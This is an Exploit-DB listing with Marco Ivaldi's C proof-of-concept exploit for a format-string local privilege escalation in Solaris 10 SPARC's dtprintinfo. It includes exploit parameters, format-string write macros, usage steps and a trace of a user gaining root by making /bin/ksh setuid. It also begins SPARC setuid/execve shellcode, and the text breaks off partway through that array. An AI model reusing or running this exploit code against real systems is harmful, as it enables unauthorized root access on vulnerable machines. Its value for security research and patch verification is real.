Exploit-DB #49516
Description: Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1)
Type: local
Platform: solaris
Date: 2021-02-02
Author: Marco Ivaldi

Exploit:
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 SPARC

/*
 * raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC 
 * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * "Mimimimimimimi
 *  Mimimi only mimi
 *  Mimimimimimimi
 *  Mimimi sexy mi"
 *  		-- Serebro
 *
 * As usual, exploitation on SPARC turned out to be much more complicated (and
 * fun) than on Intel. Since the vulnerable program needs to survive one 
 * additional function before we can hijack %pc, the classic stack-based buffer
 * overflow approach didn't seem feasible in this case. Therefore, I opted for
 * the format string bug. This is just a proof of concept, 'cause guess what -- 
 * on my system it works only when gdb or truss are attached to the target 
 * process:( To borrow Neel Mehta's words:
 *
 * "It's quite common to find an exploit that only works with GDB attached to
 * the process, simply because without the debugger, break register windows
 * aren't flushed to the stack and the overwrite has no effect." 
 * 						-- The Shellcoder's Handbook
 *
 * On different hardware configurations this exploit might work if the correct
 * retloc and offset are provided. It might also be possible to force a context
 * switch at the right time that results in registers being flushed to the
 * stack at the right moment. However, this method tends to be unreliable even
 * when the attack is repeatable like in this case. A better way to solve the
 * puzzle would be to overwrite something different, e.g.:
 *
 * - Activation records of other functions, such as check_dir() (same issues)
 * - Callback to function SortJobs() (nope, address is hardcoded in .text)
 * - PLT in the binary (I need a different technique to handle null bytes)
 * - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!) 
 * - Other OS function pointers I'm not aware of still present in Solaris 10
 *
 * Finally, it might be possible to combine the stack-based buffer overflow and
 * the format string bug to surgically fix addresses and survive until needed
 * for program flow hijacking to be possible. Bottom line: there's still some
 * work to do to obtain a reliable exploit, but I think it's feasible. You're
 * welcome to try yourself if you feel up to the task and have a spare SPARC
 * box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c]
 *
 * This bug was likely fixed during the general cleanup of CDE code done by
 * Oracle in response to my recently reported vulnerabilities. However, I can't
 * confirm this because I have no access to their patches:/
 *
 * See also:
 * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
 * raptor_dtprintcheckdir_intel2.c
 * raptor_dtprintcheckdir_sparc2.c (the real deal)
 *
 * Usage:
 * $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall
 * [on your xserver: disable the access control]
 * $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0
 * [on your xserver: double click on the fake "fnord" printer]
 * ...
 * -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c)
 *   -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0)
 *   <- libc:getenv() = 0xffbff364
 *   -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0)
 *   <- libc:getenv() = 0xffbff364
 *   -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0)
 * ...
 * setuid(0)                                       = 0
 * chmod("/bin/ksh",[PII_REDACTED]77)                 = 0
 * _exit(0)
 * $ ksh
 * # id
 * uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
 * #
 *
 * Tested on:
 * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
 * [previous Solaris versions are also likely vulnerable (and easier to exploit)]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>

#define INFO1	"raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC"
#define INFO2	"Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN		"/usr/dt/bin/dtprintinfo"	// vulnerable program
#define	BUFSIZE		3000				// size of evil env var
#define	BUFSIZE2	10000				// size of padding buf
#define	STACKPOPSEQ	"%.8x"				// stackpop sequence
#define	STACKPOPS	383				// number of stackpops

/* default retloc and offset for sprintf() */
#define RETLOC		0xffbfbb3c			// saved ret location
#define OFFSET		84				// offset from retloc to i0loc

/* default retloc and offset for check_dir() */
/* TODO: patch %i6 that gets corrupted by overflow */
//#define RETLOC	0xffbfbbac			// default saved ret location
//#define OFFSET	1884				// default offset from retloc to i0loc

/* split an address in 4 bytes */
#define SPLITB(B1, B2, B3, B4, ADDR) {	\
	B4 = (ADDR & 0x000000ff);	\
	B3 = (ADDR & 0x0000ff00) >> 8;	\
	B2 = (ADDR & 0x00ff0000) >> 16;	\
	B1 = (ADDR & 0xff000000) >> 24;	\
}

/* calculate numeric arguments for write string */
#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) {	\
	N1 = (B4 - BASE)			% 0x100;	\
	N2 = (B2 - BASE - N1)			% 0x100;	\
	N3 = (B1 - BASE - N1 - N2)		% 0x100;	\
	N4 = (B3 - BASE - N1 - N2 - N3)		% 0x100;	\
	BASE += N1 + N2 + N3 + N4;				\
}

//#define USE_EXEC_SC		// uncomment to use exec shellcode

#ifdef USE_EXEC_SC
	char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
	/* setuid(0) */
	"\x90\x08\x3f\xff"	/* and  %g0, -1, %o0		*/
	"\x82\x10\x20\x17"	/* mov  0x17, %g1		*/
	"\x91\xd0\x20\x08"	/* ta   8			*/
	/* execve("/bin/ksh", argv, NULL) */
	"\x9f\x41\x40\x01"	/* rd   %pc,%o7 ! >= sparcv8+	*/
	"\x90\x03\xe0\x28"	/* add  %o7, 0x28, %o0		*/
	"\x92\x02\